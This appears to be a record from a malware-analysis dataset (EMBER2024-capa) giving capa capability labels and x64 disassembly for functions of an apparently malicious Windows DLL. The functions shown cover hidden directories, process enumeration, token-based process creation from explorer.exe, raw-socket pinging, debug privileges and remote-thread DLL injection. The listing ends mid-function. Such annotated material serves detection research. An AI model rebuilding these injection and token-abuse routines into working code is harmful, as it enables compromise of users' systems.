joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001da90
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [0x18004a990], 0
jne 0x18001dba6
mov ecx, 0x104
call fcn.180001fd0
mov qword [0x18004a990], rax
mov rax, qword [0x18004a990]
mov edx, dword [rax]
sub edx, 1
mov rcx, qword [0x18004a990]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [0x18004a990]
mov rdi, qword [rdi + 8]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rax, qword [0x18004a990]
mov dword [rax + 4], ecx
lea r8, [0x18003a6dc]
lea rdx, [0x18003a70c]
mov rcx, qword [0x18004a990]
call fcn.1800023a0
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [0x18004a990]
mov rdi, qword [rdi + 8]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rax, qword [0x18004a990]
mov dword [rax + 4], ecx
mov rax, qword [0x18004a990]
movsxd rcx, dword [rax + 4]
mov rax, qword [0x18004a990]
mov rax, qword [rax + 8]
movsx eax, byte [rax + rcx]
cmp eax, 0x2f
je 0x18001dba6
mov rax, qword [0x18004a990]
mov eax, dword [rax]
sub eax, 1
movsxd r8, eax
lea rdx, [0x18003a79c]
mov rcx, qword [0x18004a990]
mov rcx, qword [rcx + 8]
call fcn.1800221f0
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [0x18004a990]
mov rdi, qword [rdi + 8]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rax, qword [0x18004a990]
mov dword [rax + 4], ecx
mov rax, qword [0x18004a990]
mov rax, qword [rax + 8]
add rsp, 0x20
pop rdi
ret

Function at 0x18001dbc0
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [0x18004a998], 0
jne 0x18001dce3
mov ecx, 0x104
call fcn.180001fd0
mov qword [0x18004a998], rax
mov rax, qword [0x18004a998]
mov eax, dword [rax]
sub eax, 1
movsxd rdi, eax
call fcn.18001da90
mov r8, rdi
mov rdx, rax
mov rcx, qword [0x18004a998]
mov rcx, qword [rcx + 8]
call fcn.1800227d0
mov rdx, qword [0x18004a998]
mov eax, dword [rdx]
sub eax, 1
movsxd r8, eax
lea rdx, str.SCBYDL
mov rcx, qword [0x18004a998]
mov rcx, qword [rcx + 8]
call fcn.1800221f0
mov rdx, qword [0x18004a998]
mov eax, dword [rdx]
sub eax, 1
movsxd r8, eax
lea rdx, [0x18003a884]
mov rcx, qword [0x18004a998]
mov rcx, qword [rcx + 8]
call fcn.1800221f0
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [0x18004a998]
mov rdi, qword [rdi + 8]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rax, qword [0x18004a998]
mov dword [rax + 4], ecx
mov rcx, qword [0x18004a998]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x18001dcc1
xor edx, edx
mov rcx, qword [0x18004a998]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, 6
mov rcx, qword [0x18004a998]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, qword [0x18004a998]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x18001dce3
lea rcx, [0x18003ad60]
call fcn.180006dc0
mov rax, qword [0x18004a998]
mov rax, qword [rax + 8]
add rsp, 0x20
pop rdi
ret
Function at 0x18001dd00
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x158
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x148], rax
cmp qword [0x18004a9a0], 0
jne 0x18001dde8
cmp qword [rsp + 0x160], 0
je 0x18001dd5b
mov rcx, qword [rsp + 0x160]
call fcn.180002040
mov qword [0x18004a9a0], rax
mov rax, qword [0x18004a9a0]
mov rax, qword [rax + 8]
jmp 0x18001ddf3
xor eax, eax
cmp eax, 1
je 0x18001dde8
mov edx, 8
lea rcx, [rsp + 0x140]
call fcn.180007de0
call fcn.18001da90
lea r9, [rsp + 0x140]
mov r8, rax
lea rdx, [0x18003ad7c]
lea rcx, [rsp + 0x30]
call fcn.180021d50
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x18001dde3
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x18001dde3
lea rcx, [rsp + 0x30]
call fcn.180002040
mov qword [0x18004a9a0], rax
mov edx, 6
mov rcx, qword [0x18004a9a0]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x18001dde8
jmp 0x18001dd5b
mov rax, qword [0x18004a9a0]
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x148]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x158
ret

Function at 0x18001de10
Capabilities:
Enumerate processes

Disassembly:
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x290
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x288], rax
mov dword [rsp + 0x274], 0
mov dword [rsp + 0x270], 0
mov qword [rsp + 0x278], 0
mov dword [rsp + 0x30], 0
lea rdi, [rsp + 0x34]
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
mov dword [rsp + 0x280], 0
cmp dword [rsp + 0x2a0], 0
jne 0x18001de82
xor eax, eax
jmp 0x18001df39
mov dword [rsp + 0x30], 0x238
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x278], rax
cmp qword [rsp + 0x278], 0xffffffffffffffff
jne 0x18001deb0
xor eax, eax
jmp 0x18001df39
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x278]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x18001def4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x284], eax
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x18003ad88]
call fcn.180006b50
mov eax, 1
jmp 0x18001df39
mov eax, dword [rsp + 0x2a0]
cmp dword [rsp + 0x38], eax
jne 0x18001df0e
mov dword [rsp + 0x280], 1
jmp 0x18001df24
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x278]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x18001def4
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x280]
mov rcx, qword [rsp + 0x288]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x290
pop rdi
ret
Function at 0x18001e930
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x120
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x108], 0
jmp 0x18001e964
mov eax, dword [rsp + 0x108]
add eax, 1
mov dword [rsp + 0x108], eax
cmp dword [rsp + 0x108], 0x3c
jge 0x18001e99c
lea rcx, [0x18003afc8]
call fcn.18000a6f0
mov dword [rsp + 0x10c], eax
cmp dword [rsp + 0x10c], 0
jne 0x18001e998
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18001e953
jmp 0x18001e99c
lea rcx, [0x18003afd8]
call fcn.18000a6f0
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 0
jne 0x18001e9d5
mov eax, 0xfffffffe
jmp 0x18001ebc6
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x18001e9fb
mov eax, 0xffffffff
jmp 0x18001ebc6
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x100], 0
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x100]
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
mov dword [rsp + 0x90], WSAGetLastError
mov qword [rsp + 0x98], 0
lea rax, [0x18003a543]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0xb0], 0
mov dword [rsp + 0xb4], 0
mov dword [rsp + 0xb8], 0
mov dword [rsp + 0xbc], 0
mov dword [rsp + 0xc0], 0
mov dword [rsp + 0xc4], 0
mov dword [rsp + 0xc8], 0
mov dword [rsp + 0xcc], 1
xor eax, eax
mov word [rsp + 0xd0], ax
xor eax, eax
mov word [rsp + 0xd2], ax
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov eax, 5
mov word [rsp + 0xd0], ax
lea rax, [0x18003afe8]
mov qword [rsp + 0xa0], rax
lea rdi, [rsp + 0x68]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x430
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x130]
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov dword [rsp + 0x80], eax
cmp qword [rsp + 0x100], 0
je 0x18001eba1
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x78]
add rsp, 0x120
pop rdi
ret
Function at 0x18001ebd0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x120
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x108], 0
jmp 0x18001ec04
mov eax, dword [rsp + 0x108]
add eax, 1
mov dword [rsp + 0x108], eax
cmp dword [rsp + 0x108], 0x3c
jge 0x18001ec3c
lea rcx, [0x18003aff8]
call fcn.18000a6f0
mov dword [rsp + 0x10c], eax
cmp dword [rsp + 0x10c], 0
jne 0x18001ec38
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18001ebf3
jmp 0x18001ec3c
lea rcx, str.explorer.exe
call fcn.18000a6f0
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 0
jne 0x18001ec75
mov eax, 0xfffffffe
jmp 0x18001ee50
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x18001ec9b
mov eax, 0xffffffff
jmp 0x18001ee50
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x100], 0
mov dword [rsp + 0x90], WSAGetLastError
mov qword [rsp + 0x98], 0
lea rax, [0x18003a547]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0xb0], 0
mov dword [rsp + 0xb4], 0
mov dword [rsp + 0xb8], 0
mov dword [rsp + 0xbc], 0
mov dword [rsp + 0xc0], 0
mov dword [rsp + 0xc4], 0
mov dword [rsp + 0xc8], 0
mov dword [rsp + 0xcc], 1
xor eax, eax
mov word [rsp + 0xd0], ax
xor eax, eax
mov word [rsp + 0xd2], ax
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov eax, 5
mov word [rsp + 0xd0], ax
lea rax, str.winsta0default
mov qword [rsp + 0xa0], rax
lea rdi, [rsp + 0x68]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x430
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x130]
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov dword [rsp + 0x80], eax
cmp qword [rsp + 0x100], 0
je 0x18001ee2b
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x78]
add rsp, 0x120
pop rdi
ret
Function at 0x18001fcf0
Capabilities:
Create raw socket
Initialize winsock library
Set socket configuration

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x1f0
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x1e8], rax
cmp dword [rsp + 0x200], 0
jne 0x18001fd2d
xor eax, eax
jmp 0x18001feaa
mov dword [rsp + 0x1e4], 0
lea rdx, [rsp + 0x40]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x1e0], eax
cmp dword [rsp + 0x1e0], 0
jne 0x18001fea3
mov r8d, 1
mov edx, 3
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov dword [0x180049344], eax
movsxd rax, dword [0x180049344]
cmp rax, 0xffffffffffffffff
je 0x18001fe9d
movsxd rcx, dword [0x180049344]
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x208]
mov r8d, 0x1006
mov edx, 0xffff
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jge 0x18001fdc9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.failed_to_set_recv_timeout:__d_n
call fcn.180006b50
movsxd rcx, dword [0x180049344]
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x208]
mov r8d, 0x1005
mov edx, 0xffff
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jge 0x18001fe09
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.failed_to_set_send_timeout:__d_n
call fcn.180006b50
lea rdi, [0x180049330]
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov eax, 2
mov word [0x180049330], ax
mov eax, dword [rsp + 0x200]
mov dword [0x180049334], eax
mov dword [0x180049340], 0
mov dword [rsp + 0x30], 0
jmp 0x18001fe51
mov eax, dword [rsp + 0x30]
add eax, 1
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x218]
cmp dword [rsp + 0x30], eax
jge 0x18001fe90
call fcn.1800200b0
mov ecx, dword [rsp + 0x208]
call fcn.180020120
cmp eax, 1
jne 0x18001fe81
mov dword [rsp + 0x1e4], 1
jmp 0x18001fe90
mov ecx, dword [rsp + 0x210]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18001fe46
movsxd rcx, dword [0x180049344]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [rsp + 0x1e4]
mov rcx, qword [rsp + 0x1e8]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x1f0
pop rdi
ret

Function at 0x1800200b0
Capabilities:
Send data
Send data on socket

Disassembly:
sub rsp, 0x48
mov eax, dword [0x180049340]
mov dword [rsp + 0x34], eax
mov eax, dword [0x180049340]
add eax, 1
mov dword [0x180049340], eax
mov ecx, dword [rsp + 0x34]
call fcn.18001ff80
mov dword [rsp + 0x30], eax
movsxd rcx, dword [0x180049344]
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
lea rax, [0x180049330]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, dword [rsp + 0x30]
lea rdx, [0x180048330]
call qword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jge 0x18002011a
lea rcx, str.Destination_host_unreachable._n
call fcn.180006b50
add rsp, 0x48
ret
Function at 0x180020120
Capabilities:
Check for time delay via gettickcount
Receive data
Receive data on socket

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov dword [rsp + 0x34], reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x3c], eax
movsxd rcx, dword [0x180049344]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [0x180049348]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [0x180049360]
call qword [sym.imp.WS2_32.dll_recvfrom]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x1800201ac
mov edx, dword [rsp + 0x30]
lea rcx, [0x180049360]
call fcn.180020010
mov dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rsp + 0x3c]
cmp eax, dword [rsp + 0x50]
jb 0x1800201aa
lea rcx, str.ping_timeout1
call fcn.180006b50
jmp 0x1800201da
jmp 0x1800201cf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274c
jne 0x1800201cf
lea rcx, str.ping_timeout2
call fcn.180006b50
mov dword [rsp + 0x38], 0
jmp 0x1800201da
cmp dword [rsp + 0x38], 0
je 0x18002013a
mov eax, dword [rsp + 0x38]
add rsp, 0x48
ret
Function at 0x180020390
Capabilities:
Delete file
Set file attributes

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0x3ff
mov eax, dword [rsp + 0x20]
add eax, 0x3ff
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x3ff
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x735f
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x5951
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x1c07
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x7c2d
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x4b41
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x4650
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x7000
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x6672
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x504a
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x555b
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add eax, 0x4047
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x3718
mov dword [rsp + 0x20], eax
mov edx, dword [rsp + 0x20]
lea rcx, [0x18003a4fc]
call fcn.1800220c4
lea rax, str.c:_sc08223.log
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rsp + 0x28]
call fcn.180006a40
lea rcx, str.start
call fcn.180006b50
mov edx, 6
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x3e8
call fcn.1800202d0
test eax, eax
jne 0x1800204cf
lea rcx, [0x18003a648]
call fcn.180006c60
jmp 0x180020533
call fcn.18001d520
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1800202a0]
lea rcx, [rsp + 0x30]
call fcn.180006f30
lea rcx, [0x18003a658]
call fcn.18000c820
mov rcx, rax
call fcn.18000a190
test eax, eax
je 0x180020511
lea rcx, str.R0010088_mutex_Open_Failure
call fcn.180006b50
jmp 0x180020533
call fcn.18000ca60
test eax, eax
jne 0x18002051f
call fcn.18001b810
xor eax, eax
cmp eax, 1
je 0x180020533
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18002051f
add rsp, 0x48
ret
Function at 0x1800205e0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x80
mov dword [rsp + 0x60], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x48], 0
mov r8d, dword [rsp + 0x90]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x18002064f
xor eax, eax
jmp 0x18002076f
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x18003a680]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x98]
repne scasw ax, word [rdi]
not rcx
sub rcx, 1
mov rax, rcx
shl rax, 1
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x70]
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x70]
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
mov r8d, 0x400
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
lea rcx, str.thread:_d
call fcn.180006b50
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x80
pop rdi
ret
Function at 0x180020780
Capabilities:
Acquire debug privileges
Enumerate process modules

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.180036c60
sub rsp, rax
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x1488], rax
mov qword [rsp + 0x1020], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x1020]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp qword [rsp + 0x1020], 0
jne 0x1800207ed
jmp 0x1800209e6
mov r8d, 1
lea rdx, [0x18003a6b8]
mov rcx, qword [rsp + 0x1020]
call fcn.180020540
test eax, eax
jne 0x180020810
jmp 0x1800209e6
lea r8, [rsp + 0x102c]
mov edx, 0x1000
lea rcx, [rsp + 0x20]
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x180020830
jmp 0x1800209e6
mov eax, dword [rsp + 0x102c]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x1030], eax
mov dword [rsp + 0x1028], 0
jmp 0x180020866
mov eax, dword [rsp + 0x1028]
add eax, 1
mov dword [rsp + 0x1028], eax
mov eax, dword [rsp + 0x1030]
cmp dword [rsp + 0x1028], eax
jae 0x1800209cf
lea rdi, [rsp + 0x1050]
lea rsi, [0x18003a6e0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x1060]
xor eax, eax
mov ecx, 0x1f8
rep stosb byte [rdi], al
mov eax, dword [rsp + 0x1028]
mov r8d, dword [rsp + rax*4 + 0x20]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x1038], rax
cmp qword [rsp + 0x1038], 0
je 0x1800209bc
lea r9, [rsp + 0x1268]
mov r8d, 8
lea rdx, [rsp + 0x1260]
mov rcx, qword [rsp + 0x1038]
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x1800209bc
mov r9d, 0x208
lea r8, [rsp + 0x1050]
mov rdx, qword [rsp + 0x1260]
mov rcx, qword [rsp + 0x1038]
call sub.PSAPI.DLL_GetModuleFileNameExW
lea rcx, [rsp + 0x1050]
call fcn.180024420
lea rdx, [rsp + 0x1050]
lea rcx, [0x18003a51c]
call fcn.180006b50
lea rdx, [0x18003a6f0]
lea rcx, [rsp + 0x1050]
call fcn.18001fcc0
test rax, rax
je 0x1800209bc
mov rcx, qword [rsp + 0x1038]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x207
lea rdx, [rsp + 0x1270]
mov rcx, qword [0x18004a4f0]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [rsp + 0x1028]
lea rdx, [rsp + 0x1270]
mov ecx, dword [rsp + rcx*4 + 0x20]
call fcn.1800205e0
mov dword [rsp + 0x1480], eax
lea r8, [rsp + 0x1270]
mov edx, dword [rsp + 0x1480]
lea rcx, str.Inject_Result_is__d__ws
call fcn.180006b50
mov rcx, qword [rsp + 0x1038]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180020855
xor r8d, r8d
lea rdx, [0x18003a728]
mov rcx, qword [rsp + 0x1020]
call fcn.180020540
mov rcx, qword [rsp + 0x1488]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1800237f4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.18002847c
nop
cmp dword [0x180047060], 1
je 0x1800237a0
mov dword [0x18004705c], 1
mov byte [0x180047058], r12b
test ebx, ebx
jne 0x18002378c
mov rcx, qword [0x18004abd8]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x180023779
mov rcx, qword [0x18004abd0]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x180023718
call fcn.180026ac4
cmp qword [rdi], rax
jne 0x180023718
jmp 0x1800236fe
cmp rdi, rsi
jb 0x180023779
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.180026ac4
mov qword [rdi], rax
call rbx
mov rcx, qword [0x18004abd8]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x18004abd0]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x180023757
cmp r13, rax
je 0x180023777
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x1800236fe
lea rdx, [0x180038600]
lea rcx, [0x1800385e8]
call fcn.180023548
lea rdx, [0x180038610]
lea rcx, [0x180038608]
call fcn.180023548
nop
test r12d, r12d
je 0x1800237af
mov ecx, 8
call fcn.18002837c
test r12d, r12d
jne 0x1800237da
mov dword [0x180047060], 1
lea ecx, [r12 + 8]
call fcn.18002837c
mov ecx, r15d
call fcn.1800234dc
mov ecx, r15d
